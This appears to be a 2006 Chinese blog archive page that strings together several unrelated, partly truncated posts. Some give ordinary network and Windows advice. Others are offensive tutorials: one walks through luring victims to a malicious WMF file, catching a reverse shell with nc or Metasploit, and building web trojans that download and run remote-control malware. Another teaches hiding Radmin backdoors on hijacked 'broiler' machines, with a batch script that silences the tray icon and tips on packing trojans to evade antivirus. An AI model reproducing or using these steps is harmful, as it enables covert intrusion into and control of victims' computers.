毫无疑问，网络安全一直是一个热门话题，并且在未来几年里仍将是一个热门话题。这个基本的思想保护你的网络不受外部世界的影响。然而，你也不能忘记从内部保护你的网络的安全。现在，有各种各样为中小企业提供的服务，然而，很难确定把重点放在哪个方面才能达到充分的网络安全。
关于网络安全基础的这一期指南旨在帮助你把重点放在你的网络和服务的策略领域，确保在不超出你的预算(尽管有时候超出预算是不可避免的)的前提下获得最佳的安全效果。我将介绍网络基础设施、活动目录、蜜罐(honey pots)和一些能够帮助你解决网络安全问题的资源。
网络基础设施:你的网络的核心
随着本地网络用户数量的不断增长，你的网络进行适当的分段是不可避免的。如果你的局域网有50个以上的用户，这就是开始考虑建立VLAN(虚拟局域网)的时候了。使用VLAN，你可以通过创建不同的广播域来为你的网络分段，并且同时提供增强水平的安全。敏感的部门和重要的服务可以很容易地与网络的其它部分隔离开来，有控制的访问你的网络资源在可能发生的内部或者外部攻击中将发挥重要的作用。
你还可以配置一个来宾VLAN(Guest VLAN)，这对大多数企业来收都是一个很普通的要求。来宾VLAN是限定访问互连网的来访者可以访问的网络，这个网络不会暴露我们的网络的其它内容。你可以按照你喜欢的任何方式配置来宾VLAN，如，是否规定只能有限地访问互联网或者严格限制访问内部资源和服务。
如果你需要在VLAN之间传送数据包，就需要一台3层交换机。这种交换机的起始价格为几千美元，是比较经济的选择。如果你的预算确实紧张，你可以考虑购买3550/3560或者3750型思科Catalyst系列交换机。这种交换机采用了合适的互联网操作系统，能够提供这种功能。然而，如果有可能增加一点预算，Catalyst 4500系列产品将是你最好的朋友。有些型号的交换机，如4507R，提供了全面的“监控引擎冗余”(Supervisor Engine Redundancy)功能，因此，在你的网络核心不会出现任何一点故障，深受工程师的喜爱。
活动目录:释放Windows的力量
Windows操作系统最近在服务器市场肯定占统治地位。你肯定有一些服务器至少安装了Windows 2000操作系统。通过安装活动目录，你能够自动地把你的网络资源连接在一起，提供一个管理的重心点。虽然这个规划和实施是一个很耗费时间的过程，不过，从活动目录提供的好处和安全性来看，耗费这些时间是值得的。
使用活动目录简单地点击几下鼠标，在用户级限制对工作站的修改、安装程序、改变网络设置和强制执行安全策略等工作就可以很容易地完成了。包括操作系统补丁和杀毒软件更新等在内的应用程序更新不再是令人担心的需要耗费很长时间的任务了，因为这些任务通过设置可以由活动目录自动完成。
如果你到目前为止还没有使用过活动目录，你可以花点时间研究一下这个课题。这肯定能够使你大开眼界。
网络备份:如果你没有测试，你就不要用
目前，每个人肯定都使用一种备份技术。如果你还没有使用，那么，现在就是你认真考虑这个问题的时候了。
无论你如何进行你的备份，一些简单的做法被证明是非常有用的，并且能够帮助你节省很多时间，缓解紧张，甚至在某种情况下还能挽救你的工作。如果你正在使用最新的技术进行备份，你必须进行一次全面的恢复工作以确保这种最新的备份技术能够正常工作。
每一周或者两周进行一次全面的恢复工作是必要的，这可以根据工作量和你要处理的数据类型而定。由于存储介质出现故障，一个公司最近的备份不能恢复了。这是非常尴尬的事情。我确认你一定不会愿意陷入这样的窘境。
如果由于敏感性的原因你不相信传统的备份磁带方式，你可以选择能够满足你的备份需求的RAID解决方案“RAID 10”。这个解决方案包括了两台RAID 5磁盘阵列，能够提供多个硬盘故障的冗余。当然，不利的因素是这些设备的成本高一些。
有付出就有回报。因此，你需要问自己(或者你的经理):你的数据确实值多少钱?
蜜罐:抓住坏蛋
我们都知道，防火墙是设计用来保护网络不受攻击和阻止非法访问的。这就是我们把防火墙称作保护/防御技术的原因。入侵检测系统是用来监控和检测网络突破企图的设备。入侵防御系统是以预防技术为基础的，主要是采取措施阻止非法的访问。
蜜罐是一个相当新的概念，然而遗憾的是没有广泛应用。虽然蜜罐还不能确切地定义为哪一类产品，但是，蜜罐是介于入侵检测和防御技术之间的一种技术。正如名称解释的那样，蜜罐是运行特别的检测和审计程序的没有使用补丁的机器，装扮成包含重要数据的服务器，等待黑客的攻击。正如你了解的那样，蜜罐很容易吸引到非法的访问。
蜜罐通常放在重要的区域，如公共服务器或者内部服务器群，能够迅速发现试图攻破这些系统的黑客。然后，从这些攻击中收集到的信息将用于防御黑客对真正的服务器的攻击。由于蜜罐确实没有防御攻击或者黑客的安全措施，蜜罐连接到互联网上之后通常是最先受到扫描和攻击的机器。
恢复和安全监控
最后，监控你的资源。你通过简单地监控你工作中正在使用的资源就可以防御可能造成灾难的攻击是很神奇的。好消息是有一些开源软件工具能够完全满足你监控的需求，如监控你的服务器资源、主干网络连接以及公共网络服务器等各种需求。这些工具包括Nessus、Snort、MRTG、Nagios和Cacti等。
网络安全显然并不只是处理防火墙的问题。网络安全包含努力的工作以及根据复杂性、规模和你的网络的需求提供的不同层次的保护措施。没有一种具体策略能够适用于所有的网络。每一个网络都是独特的，必须要采取那种方式对待才能产生理想的结果。
如果你对网络安全还是一个新手，或者仅仅是为了获得一个包罗万象的指南，你可以查看“Firewall.cx”网站并且阅读“网络安全介绍”部分。这部分内容包括:对企业的威胁、入侵检测系统、攻击者使用的工具、入侵测试等内容。
跟上最新的技术和了解网络安全领域各个不同方面的新闻报道。互联网上有很多极好的资源。你要做的所有的事情就是搜索这些资源。
分类 : 技术文摘 | 发表时间 18-04-2006
菜鸟朋友的电脑系统因为使用时间太长，现在运行起来很慢，趁着周末有时间，帮他重装了一个系统。待所有补丁、杀毒软件和防火墙都装好以后，朋友迫不及待地联上互联网，打开了他最喜爱的电脑迷论坛……糟糕，密码忘了！原来朋友只在家里上网，为了图省事儿让IE浏览器自动保存了所有论坛的登录密码，由于长期不用输入密码，现在怎么也想不起来了。正当朋友准备给论坛管理员发求助信时，笔者突然想起在重装系统前曾用Ghost做过一个备份，于是笔者拍拍胸脯说：“我来帮你找回失落的密码吧。”笔者从家里找来一个旧硬盘接到电脑上，将老系统恢复到旧硬盘上，再从旧硬盘引导系统，然后用下面的方法在旧系统中找回了密码。
提示：如果身边找不到第二个硬盘，也可以用Ghost备份好新系统，再把旧系统恢复到硬盘上，等密码找回来以后重新把备份好的新系统恢复过来。
Internet Explorer篇
IE浏览器作为使用范围最广的浏览器，本身并没有找回自动保存的密码的功能，所以我们需要借助Protected Storage PassView这款软件的帮助，它能自动搜索IE浏览器的自动完成密码、OE密码、Outlook密码和MSN Explorer密码。由于不同厂商的杀毒软件对病毒的定义不尽相同，可能某些杀毒软件会将它当作病毒杀掉，建议大家在使用前暂时关闭杀毒软件的实时监控功能。
打开软件后，所有被IE自动保存的用户名、密码都会被显示在主界面里，直接在条目上就可以看到密码了（如图1）。如果某个条目中只显示了用户名而没有显示出密码，可以选中该条目，再点击菜单“查看/显示原始数据”，在打开的网页里也能找到密码了（如图2）。
Firefox篇
看着朋友满足的表情，笔者告诉他如果使用的是火狐狸Firefox浏览器，连Protected Storage PassView都用不着，因为Firefox本身就有查看密码的功能。只要使用Firefox登录过这些论坛，就可以利用它自带的“密码管理器”来找回密码。以目前最新的1.5.0.1版为例，在浏览器中点击菜单“工具/选项”，弹出“选项”窗口，切换到“隐私/密码”标签，可以看到Firefox浏览器里默认设置为“记住密码”，所以不必担心找不到密码。单击“查看已保存密码”按钮，打开了“密码管理器”，在“已保存的密码”标签下，显示了Firefox浏览器记录下的站点和用户名，单击“显示密码”按钮，再在弹出的“确认”窗口中单击“是”，就能看到密码了（如图3）。
提示：由于Firefox记录密码的文件保存在系统分区中，并且Firefox是绿色软件，所以不论Firefox安装在哪个分区中，都可以使用Ghost恢复系统后直接查看密码。
分类 : 系统安全 | 发表时间 16-04-2006
就在刚迈入2006年之际，Windows系统出现了一个严重的漏洞，这就是Microsoft Windows图形渲染引擎wmf格式代码漏洞（ms0601）。这个漏洞出现在Windows的图形渲染引擎中，黑客可以构造恶意的wmf文件，引诱其他用户打开，当系统没有更新过wmf补丁时，将会执行黑客事先设置好的恶意代码，获取系统的最高权限，从而完全听命于黑客。就在漏洞公布几天后，网络上使用wmf漏洞进行传播的病毒、攻击事件不断，直至今日，网上仍然充斥着无数利用wmf漏洞的攻击。本文将向大家介绍有关wmf漏洞的知识及防范方法。
由于wmf漏洞涉及的Windows系统版本很多，包括从Windows 98到Windows 2003之间的所有系统版本，因此危害十分巨大。目前利用wmf漏洞的攻击主要包括两类：1.溢出攻击 2.利用漏洞制作的网页木马。前者可以让黑客得到系统的最高权限，后者则可以将受害者的电脑成为黑客的肉鸡。下面我们先来看看黑客是如何利用wmf漏洞的。
一.使用专用溢出工具
wmf漏洞的溢出工具在漏洞公布的几天后就出现在网上，虽然公布时间较早，存在一些缺陷，但是仍然能轻松得将存在漏洞的主机溢出。这款溢出工具名叫wmfexploit。下载后将其解压到c盘（由于溢出程序会被杀毒软件认为是病毒，因此测试时需要将杀毒软件关闭），点“开始”→“运行”，输入“CMD”运行“命令提示符”。在“命令提示符”中进入c盘，输入wmfexploit后就可以查看其使用说明了。其溢出方式有两种：1.反向溢出式 2.主动下载执行式。
1.反向溢出，穿透防火墙
反向溢出的最大好处就是可以穿透防火墙。同时由于wmf漏洞的特殊性，我们无法通过漏洞扫描器来确定哪台主机存在漏洞，因此可以使用反向连接，让有漏洞的主机主动连接本机。
在“命令提示符”中运行wmfexploit后，可以查看其反向溢出的使用说明。其使用方法如下：wmfexploit 1 
设置完成后，我们进入“命令提示符”，然后运行著名的网络工具nc，输入如下命令“nc －vv －l －p 888”，这样nc就开始监听本机的888端口。接着我们就可以引诱目标访问我们的恶意wmf文件了。将网址“http：//192.168.0.1:777/any.wmf”发给对方即可。当目标打开这个地址时，就会运行我们捆绑有溢出信息的wmf文件。我们回到用nc监听的窗口，可以看到，目标主机已经成功溢出了。
提示：上文中提到的IP地址192.168.0.1，属于内网IP，只是方便进行本机测试，如果想对外网的主机进行测试，则需要将本机的内网IP改为外网IP。
2.下载执行，直接运行木马
除反向溢出外，wmfexploit还有一种溢出方式就是下载执行式。当目标主机运行恶意wmf文件发生溢出后，不会将shell发送到本机监听的端口上，而是直接从指定的网址上下载一个exe文件运行，这个文件可以是木马，也可以是其他程序。当然我们还需要有一个网页空间，用来放置需要执行的exe文件。
查看下载执行式溢出的使用方法：wmfexploit 2
二.使用图形化的溢出测试系统
metasploit是一款著名的溢出测试系统，几乎可以对目前所有的溢出漏洞进行测试，可以说是所有溢出程序的整合。当然其不是简单得将溢出程序堆放在一起，而是提供了一个方便操作，针对性强的溢出测试平台。这个测试系统的最大优点是使用了一个完全图形化的操作界面，这对于菜鸟进行溢出测试是很方便的。
下载安装metasploit。完成后点击“开始”，运行程序组中的“MSFUpdate”，程序会弹出一个“命令提示符”窗口，显示需要更新的文件列表，输入“yes”回车后就可以开始进行溢出程序更新。更新完毕后运行“MSFweb”，用于开启本机的metasploi浏览服务。然后打开浏览器，在地址栏中输入“http://127.0.0.1:55555”，就可以打开metasploi的操作界面。选择溢出列表中的“Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution”进入漏洞信息界面，然后点击最下方的“0 – Automatic – Windows XP / Windows 2003 / Windows Vista (default)”进行测试，在接着出现的“Select Payload:”选项中选择“win32_reverse”。最后来到溢出相关信息的填写处，在选项中只需设置“HTTPHOST”、“HTTPPORT”、“LHOST”、“LPORT”四项即可，其他保持默认。设置方法和原理与wmfexploit相似，在此不再阐述。
同样将恶意wmf文件的地址发给目标，当对方发生溢出后，我们点击进入metasploit界面上的“SESSIONS”就可以得到一个管理员权限的shell了。
提示：在使用metasploi之前务必进行更新，否则很可能没有wmf漏洞相关的测试选项。
三.利用漏洞制作网页木马
wmf漏洞造成的最大影响就是网络上网页木马满天飞，由于杀毒软件对图片文件的检测功能不够强大，因此利用wmf漏洞制作的网页木马很容易成功，也成了最近网页木马中的主角。下面我们来了解一下wmf网页木马的制作。
首先我们需要准备一款木马程序，这里推荐类似灰鸽子的反弹连接型木马，这样当有目标发生溢出时会通过木马主动连接我们的主机，而无需我们主动连接，方便了对肉鸡的管理。然后将配置好的木马程序服务端放置到网页空间上（可申请免费空间进行存放）。
下载wmf木马的制作程序ms0601。下载完成后在“命令提示符”中运行，可以看到使用方法很简单：ms0601 [THE URL OF EXEFILE]，直接输入木马文件所在的网址即可。回车后就可以在同目录下生成一个exploit.wmf文件，运行这个wmf文件将会触发溢出并自动从网页上下载木马文件执行。
将exploit.wmf文件上传到网页空间中。最后我们需要在网站主页的源代码中插入如下一句代码：。这样当别人访问主页时，将不会弹出新的浏览器窗口，而是直接运行exploit.wmf进行溢出。
四.填漏洞，防木马
由于wmf漏洞的公布时间较晚，因此网络上还有很多没有打好补丁的系统。无论是溢出还是网页木马，成功率都很高，这也给病毒和木马的传播提供了途径。在了解了黑客如何利用wmf漏洞后，我们再来看看如何才能填补漏洞，防范利用wmf漏
分类 : 技术文摘 | 发表时间 13-04-2006
一大早，笔者打开办公室电脑，顿时傻眼了。除C盘外的其它磁盘里的所有文件夹及文件全都不见了，每个磁盘中只留下一个“磁盘加密王”和一个“技术支持”的文本文档（图1）。但笔者从未用过“磁盘加密王”这个软件，也没有将电脑交给其他人使用，这究竟是怎么回事呢？双击F盘中的“磁盘加密王”，弹出“移动解密”对话框，提示需要密码才能完全解密。打开磁盘中的“技术支持”文本文件，发现文档中留下了一个QQ号，与其联系，告知要想解密需交人民币三百元。笔者的电脑几天前刚安装了正版Windows XP SP2和瑞星2006杀毒软件，使用的是Windows XP系统自带的防火墙，没想到昨天在上网时还是被黑客无声无息地入侵了。
问题分析
针对这个情况，笔者首先查看了被加密的几个磁盘空间，发现磁盘空间与加密前相比并没有减少。笔者确认磁盘数据并没有丢失，但被别有用心的人用软件加密了。笔者启动瑞星2006查杀病毒，没有发现病毒，在用瑞星2006扫描D和E盘时，都扫描到了笔者保存在磁盘中的文件夹和文件，只不过它们都保存在一个名为“Thumbs.dn”的文件夹中。但从“我的电脑”打开相应的磁盘却无法查看到这个文件夹，因此无法获取存放在磁盘中的资料。
笔者以前曾用WinRAR查看过隐藏在磁盘中的文件夹和文件。能不能通过WinRAR找到隐藏的“Thumbs.dn”文件夹呢？笔者打开WinRAR，利用“文件”菜单中的“改变驱动器”切换至F盘。在WinRAR主窗口中，F盘中包括“Thumbs.dn”在内的所有隐藏对象都显示出来了（图2）。
通过查找相关资料获悉，“磁盘加密王”实际是一款名为“高强度文件夹加密大师”磁盘加密软件。它不受系统影响，没有解密密码即使系统重装、Ghost还原，数据也依然加密。所以，没有密码一般不易破解。
加密原理
经过笔者的分析，“高强度文件夹加密大师”对文件夹及文件加密时，实质是对文件夹和文件的名称进行了加密处理，文件夹和文件本身内容并没有改变。
对文件夹进行加密时，软件对加密路径下的所有文件夹进行了改名处理，将原来的文件夹名称为以数字“1~m”（m个文件夹）为序重新命名，并在每个文件夹的数字名称后加上代码“.”。此代码是打印机系统文件夹的代码，因此，解密文件夹时必须要将此代码删除，否则得到的就是打印机的图标（图3）。
对文件的加密，软件同样是以数字为序对文件名采取了改名处理，将所有文件名主名改名为“1~n”（n个文件），扩展名改为“.mem”。
在“Thumbs.dn”文件夹中，有两个文件值得我们注意，即“117789687”和“117789687list.mem”，这两个文件存放的是密码相关信息。其中，“117789687list.mem”文件存放的是加密前文件夹及文件的名称数据及与加密后文件夹和文件名称对应关系等信息。不过，软件开发者已经对这两个文件的数据进行了算法处理，没有软件开发者提供的密码表，我们无法获取密码信息。另外，在“%systemroot%\\system32\\”下有这样一个文件“danine.dll”，它记录了软件目前已经加密了哪些磁盘和文件夹信息，用“记事本”可以直接打开查看。
解密文件夹
打开WinRAR，依次单击“文件→改变驱动器→F”，切换至需要解密的磁盘。在WinRAR主窗口中，双击“Thumbs.dn”，打开该文件夹。此文件夹中，我们发现保存在F盘上的所有文件夹。将每个文件夹名称数字序号后的“.”代码删除。然后，选中所有文件夹，单击工具栏中的“添加”按钮，将这些文件夹压缩成一个文件存放至E盘。最后，解压此压缩文件即得到所有存放在F盘中的文件夹及保存在文件夹中的文件。
解密文件
解密存放在磁盘根目录下的文件，我们要判断文件是否为RAR类型的文件，分两种情况进行。
1.RAR类型的文件
这类文件，我们只要直接选中它，单击工具栏中的“解压至”，然后选择文件解压存放的路径，将文件直接解压，实现解密。
2.非RAR类型的文件
对这类文件解密起来麻烦一些。首先，根据文件长度回忆原文件的类型。如果实在想不起来，你可以试试“文件夹嗅探器”（下载地址：http://www.onlinedown.net/soft/40923.htm），嗅探根目录下的所有“.mem”文件，单击工具栏中的测试文件类型工具，测试得出该文件的类型。然后，打开WinRAR，将该文件名的扩展名“.mem”改为原文件类型的扩展名。最后，用工具栏中的“添加”按钮，将此文件压缩打包存放至合适的位置，再解包得到原文件。
分类 : 美文美景 | 发表时间 12-04-2006
经常使用电脑的人可能都听说过，当电脑出了故障时，Windows会提供一个名为“安全模式”的平台，在这里用户能解决很多问题–不管是硬件（驱动）还是软件的。然而你会使用这个安全模式么？今天我们就来带您认识一下它的真面目。
初识安全模式
要进入安全模式，只要在启动时不停地按F8，就会出现选项菜单，再用键盘上的上下光标键进行选择即可进入不同的启动模式。选项菜单包括了以下几个：
1.安全模式
只使用基本文件和驱动程序。如鼠标(USB串行鼠标除外)、监视器、键盘、硬盘、基本视频、默认系统服务等，但无网络连接。
如果采用安全模式也不能成功启动计算机，则可能需要使用恢复控制台功能来修复系统。
2.带网络连接的安全模式
在普通安全模式的基础上增加了网络连接。但有些网络程序可能无法正常运行，如MSN等，还有很多自启动的应用程序不会自动加载，如防火墙、杀毒软件等。所以在这种模式下一定不要忘记手动加载，否则恶意程序等可能会入侵在你修复电脑的过程中。
3.带命令行提示符的安全模式
只使用基本的文件和驱动程序来启动，在登录之后，屏幕上显示命令提示符，而非Windows图形界面。
说明：在这种模式下，如果你不小心关闭了命令提示符窗口，屏幕会全黑。可按下组合键Ctrl+Alt+Del，调出“任务管理器”，单击“新任务”，再在弹出对话框的“运行”后输入“C:\WINDOWS\explorer.exe”，可马上启动Windows XP的图形界面，与上述三种安全模式下的界面完全相同。如果输入“c:\windows\system32\cmd”也能再次打开命令提示符窗口。事实上，在其它的安全模式甚至正常启动时也可通过这种方法来启动命令提示符窗口。
4.启用启动日志
以普通的安全模式启动，同时将由系统加载(或没有加载)的所有驱动程序和服务记录到一个文本文件中。该文件称为 ntbtlog.txt，它位于 %windir% (默认为c:\windows\)目录中。启动日志对于确定系统启动问题的准确原因很有用。
5.启用VGA模式
利用基本VGA驱动程序启动。当安装了使Windows不能正常启动的新视频卡驱动程序时，这种模式十分有用。事实上，不管以哪种形式的安全模式启动，它总是使用基本的视频驱动程序。因此，在这些模式下，屏幕的分辨率为640×480且不能改动。但可重新安装驱动程序。
6.最后一次正确的配置
使用Windows上一次关闭时所保存的注册表信息和驱动程序来启动 。最后一次成功启动以来所作的任何更改将丢失。因此一般只在配置不对(主要是软件配置)的情况下，才使用最后一次正确的配置。但是它不能解决由于驱动程序或文件被损坏或丢失所导致的问题。
7.目录服务恢复模式
这是针对服务器操作系统的，并只用于恢复域控制器上的SYSVOL目录和Active Directory目录服务。
8.调试模式
启动时通过串行电缆将调试信息发送到另一台计算机。
如果正在或已经使用远程安装服务在您的计算机上安装 Windows，则您可以看到与使用远程安装服务还原或恢复系统相关的附加选项。
现实应用
1.笔者过去用的是一款旧显示器，又是初学者，初学者最爱干的是什么，换点墙纸，设一下分辨率也觉得很有成就感，没想到误将分辨率和刷新率调得太高，下次启动时屏幕花屏，害得的重新安装了操作系统才算了事。
现在想起来那时也真的傻瓜可爱，只要将其重启到安全模式(前四种模式都行)下，删除显卡驱动程序，再重启电脑即可，重启(正常启动)时，系统会自动扫描显卡并安装驱动程序，屏幕即可恢复正常显示。
还有些问题也可用这种方法来处理，比如Windows XP会自动识别硬件并安装驱动程序，但有时总是老眼昏花，而且在设备管理器下不会显示出错信息。但就是工作不正常，如上不了网(网卡驱动有错)、屏幕显示不对(显卡驱动有错)等，也可在安全模式重新安装驱动程序。
2.揪出恶意的自启动程序或服务
如果电脑出现一些莫明其妙的错误，比如上不了网，按常规思路又查不出问题，可启动到带网络连接的安全模式下看看，如果在这里能上，则说明是某些自启动程序或服务影响了网络的正常连接。
可在带网络连接的安全模式下，用带重定向的命令提示符工具TaskList >d:\Anquan.txt将当时的进程记录到D：盘根目录下的文本文件 Anquan.txt中。接着，以正常的方式启动电脑，将Anquan.txt中记录到的进程与此时的进程进行比较，你会发现此时的进程要多得多，请逐个结束多出来的进程，并检查网络连接是否正常。如果结束到某一进程时网络连接正常了，则说明就是刚结束的进程就是罪魁祸首。查出后，可删除与进程相关的可执行文件。但还要注意的是，由于它是自动运行的，强行删除后，可能会引起启动时报“找不到某文件”的错误，还得将其与自启动有关的设置全部清除，包括“系统配置实用程序”的“启动”、“Win.ini”下的内容、注册表下的内容、启动脚本下的内容、“开始”菜单“启动”下的内容等。
3.调整分区
有一次，笔者带着本本儿出差，途中想处理一下下车即用的报表文件，可本本儿偏不争气，启动时报分区错误。天啊，出门在外的，又没带任何工具软件，好在天无绝人之路，还能启动到安全模式下——有法了，命令行工具Diskpart能胜任分区魔术师的一切工作(可能还少有朋友听说吧)。Diskpart功能非常强大，它工作于一个集成的环境，输入Diskpart后，显示图1所示的专用提示符即Diskpart>(注意：这不是一个路径)，在这一环境下可输入很多与之相关的同时也是它的专用子命令。下面就来演示分区的扩容功能。说明在先：以下的操作是在台式机上记录下来的。
①启动到带命令提示符的安全模式下，输入命令Diskpart。再输入list partition 显示一下分区，显然，其中有两个主分区、两个扩展分区。
②输入“Select Parttition 3”使第3分区(5004MB的那个)，使该分区具有焦点属性。再输入“Delete Partition”即可删除该分区。请将图3第1、2两个“List partition”命令后的值进行比较，不难看出，原分区3确实已被删除了。
③输入“Select partition 1”使其具有焦点属性，再输入“Extend”,刚才被删除分区所空出来的末分配空间就能自动添加到第1分区中去。
为分区扩容，这可是分区魔术师的专利，“diskpart”也能实现，看来，Windows server 2003不支持分区魔术师是有道理的。再输入“List partition”可观察到第1个分区的容量变化情况。
说明：将带有焦点的分区扩展为最邻近的未分配空间时。对于普通分区，未分配的空间必须在同一磁盘上，并且必须接着带有
分类 : 业界动态 | 发表时间 10-04-2006
有病毒作者已经开发出可以同时感染Windows和Linux系统的恶意软件样本。
这个称为Virus.Linux.Bi.a/Virus.Win32.Bi.a的概念验证恶意软件已经提交给俄罗斯的杀毒软件开发商卡巴斯基。卡上周五，巴斯基在其主页上透露，这个病毒是使用汇编这种低级语言编写的，并且它的威胁有限，只能感染当前目录下的文件。然而，它可以感染分别由Linux和Windows使用的文件格式—ELF和PE。
卡巴斯基表示，这个病毒是典型的概念验证代码，编写的目的是为了证明创建跨平台的病毒是有可能的。
虽然目前这个病毒的杀伤力不强，但是根据卡巴斯基以往的经验，一旦有概念验证代码推出，其他病毒作者就会立刻借用并作出改进。在SANS Internet Storm Center负责监控网络威胁的Swa Frantzen对此表示担忧。他表示，目前这个概念验证代码威胁还比较小，但是这种迹象表明以后的病毒会向跨平台方向发展。
卡巴斯基已经把这个病毒的特征加入到其病毒数据库之中。
文章作者：魔女の条件 [黑客基地]（www.hackbase.com）
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
文章首发于《黑客X档案》2005年01月刊(傻瓜黑客) 转载请注明版权归《黑客X档案》所有
对于4899肉鸡,相信大家都不会陌生吧。Radmin远程控制软件最大的优点就是功能齐全，便于操作，能够躲避一些软件的查杀。实在是居家旅行，杀人灭口，绝好武器。那么……有的朋友要问了多么好的宝马良驹在哪里可以找到啊？问的好，各大黑客网站均能下载，童叟无欺啊！（这段对白怎么这么耳熟啊？）
第一章 4899空口令肉鸡争夺战
4899空口令肉鸡是由一些超级菜鸟们用Windows NT/2000 自动攻击探测机对他感兴趣的某段IP细心的，无微不至的扫描孕育而生的~~~(鼓掌,有请我们今天的主角,4899空口令肉鸡隆重登场,哎呀,谁拿西红柿扔我?忒不讲公德呢?扔也不扔个红的，绿的怎么吃啊?)
既然4899空口令肉鸡这个多，那么偶就先从它的由来说起吧！Windows NT/2000 自动攻击探测机 这款扫描软件不但集成了扫描器的特点，还添加了一些漏洞的利用功能。它能够对扫描出IIS溢出的，弱口令的和SA空口令的电脑上传并安装远程图形控制软件Radmin，即把R_Server.exe，AdmDll.dll和raddrv.dll这三个文件上传到其电脑系统跟目录%systemroot%\system32子目录下，并行运行R_Server.exe可执行文件。由于远程上传的Radmin没有经过配置，因此在对方机子的任务栏里出现了Radmin服务程序的托盘(如图1-1)。这样不就成个此地无银三百两，机器的主人一定能发现这个不正常的托盘。我想他第一个动作就是把鼠标移动到托盘位置，一点就显示出了有某某IP正在连接本机。如果是个只知道上网聊天的MM她第一个动作就是把网断了，逃过别人的控制再说。如果是个有经验的老鸟那么各位就要小心了，他会通过显示出的IP查到你的电脑或者你用来扫描的肉鸡，这样就大大的不妙了。所以了，这个托盘的隐藏是非常必要和急切的。
在做我们的工作之前，要做好一些准备活动。首先把4899空口令肉鸡设置上密码，在Radmin的CMD控件下输入命令r_server.exe /port:520 /pass:hackbase /save /silence。有些同僚总是抱怨这个命令不好用，我看过他们出问题的动画。无论是在CMD命令下或者在“运行”下输入这个命令都是正确的，而他们出错的原因就是没有添加参数“/save”保存，和参数“/silence”后台安装。这样设置好连接端口和密码，同道中人就算用“4899空口令扫描器”扫到你做的肉鸡也晚了，偶已经添加过密码了，而端口在肉鸡重起后能够修改成功。接下来我们就要把一个反弹木马放到肉鸡上，以免对方是动态IP，肉鸡就飞掉了。这里我们可以用灰鸽子VIP或黑洞2004这两个反弹木马都很不错的哦~~~。顺便说一句您的木马一定要做过特征码修改或者加壳啊，这样能够躲避对方杀毒软件的查杀。在这里再说句题外话对木马加壳不是加的壳越多就越安全的，这样大家就走入了多加壳的误区。这样不但不能躲过杀毒软件的查杀，还有可能使木马的功能受到影响。对喜欢加壳躲杀毒软件的朋友偶建议下先把木马脱壳，然后再加个不知名的壳（ASPack, UPX这些加壳软件的壳已经被有些杀毒软件列入黑客程序列表了），然后在用几款世面流行的杀毒软件在本地机器事先做个放杀毒检测。
这样的黑客程序才是我们的杀手锏。
前期工作制作完毕后，您就可以耐心的工作了。为了做到隐藏托盘的目的，偶想了两个办法：
第一， 在您的机器上事先安装并配置好Radmin，把注册表中的HKEY_LOCAL_MACHINE\SYSTEM\RAdmin导出为radmin.reg，这个就是绝对符合您意愿的Radmin配置，把radmin.reg上传到对方机器输入命令regedit /s radmin.reg。这样在机器重起或者您帮助他重起Radmin服务的时候，任务栏里的Radmin托盘就消失了。
第二， 写个批处理文件重新调整Radmin配置。批处理文件内容如下：
@echo off
@r_server.exe /port:520 /pass:hackbase /save /silence
echo Windows Registry Editor Version 5.00 >ftp.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters] >>ftp.reg
echo “DisableTrayIcon”=hex:01,00,00,00 >>ftp.reg
regedit /s ftp.reg
del ftp.reg
到这里菜鸟的“保鸡”反击战已经告一段落。刚才我们不是还放了个灰鸽子吗，这样这台肉鸡上就有我们的两匹宝马良驹了。小样让你跑，还是逃不出如来佛的掌心吧！呵呵，我得意的笑~~~
在长期的摸索研究工作中，偶发现个Windows NT/2000 自动攻击探测机的小BUG。等偶慢慢道来，各位看官听仔细啊。Radmin 3.0影子版的客户端是Radmin公司开发的，而服务端程序缺因为种种原因，没有和各位见面。有的说是Radmin公司在开发新的功能，服务端没有开发完；有的说Radmin公司现在只对付费用户提供服务端，这些偶就不得而知了。可是我们敬爱的影子为我们制造出了“Radmin 3.0服务端”其本质就是2.0版本的部分修改，对其图标做了修改和加壳处理。可是在汉化过程中，不知道什么原因，它在任务栏里的Radmin托盘变成了一个空白的地方，要是不注意是看不出来的（如图1-2、1-3）。所以了，我们在运行Windows NT/2000 自动攻击探测机扫描机子的时候，把它同目录下释放出来的R_Server.exe，替换成3.0版本的R_Server.exe。这样扫描出来上传图形控制软件的机器，在其任务栏里就出现了一个空白的地方。当把鼠标点到上面的时候也没有了某某IP正在连接的提示，这样就欺骗了一些机主。呵呵，旁门左道大家不要见笑啊。可是这个小BUG启发了我的另一个思路，就是把我们的Radmin.exe自动运行的配置包重命名为R_Server.exe，然后替换掉R_Server.exe，我们不就有了所以自己的机子了吗？好，说干就干。把我的Radmin自解压包替换掉R_Server.exe，可是这回Windows NT/2000 自动攻击探测机就没有了上传成功的小提示。（如图：1-4）（广告过后更精彩）我一直对这个验证方法不甚了解，想找作者问问，可是他老人家还换QQ了。哪位高手有高见，请不吝赐教，偶的QQ：9500142。言归正传，那也难不倒我，我们把扫描出来有漏洞的所有IP复制到一个文本文件中，用superscan导入IP列表，扫描我设置Radmin服务的端口，这样被我上传Radmin的机器就都上门报道了。Yeah!（如图：1-5）
第二章 Radmin 服务端高级配置
既然我们对Radmin这么情有独钟，那么我们就要打造不死系的超级后门木马。具推断当前安装过Radmin控制软件的肉鸡占安全性低级的电脑的80%左右，所以我们上传木马之前，要把其系统中可能存在的Radmin服务停止掉，替换成我们的服务为己所用。绝大部分的安装Radmin的肉鸡都是用的R_Server.exe程序。可是种植的原始情况分为两种：
第一 就如上面所说那样，是用Windows NT/2000 自动攻击探测机上传安装的，其安装服务的名称为“radmm”。启动和停止该服务的命令分别为“net start radmm”和“net stop radmm”。
第二 一些喜欢偷懒的朋友，把自己的Radmin是默认的R_Server.exe程序，其安装服务的名称为“Remote Administrator Service”。启动和停止该服务的命令分别为“net start r_server”和“net stop r_server”。
偶发现一个对付这两种配置的小窍门，就是可以用“r_server.exe /start”和“r_server.exe /stop”启动和停止服务，然后我们在替换为自己的配置。
Follow Me！
对配置Radm
in自解压程序的，我有两个思路可供大家参详，希望对您能配置能够有所启发和帮助.
第一 就是替换系统服务的方法。如果您对Windows系统服务的工作机理不甚了解，那么请跳过这里，看接下来的第二种配置.
1、编写一个批处理文件，命名为first.bat
——————————————–
@echo off
r_server.exe /stop
——————————————–
这样做是假定肉鸡上已经由黑友安装过Radmin服务，杀无赦。
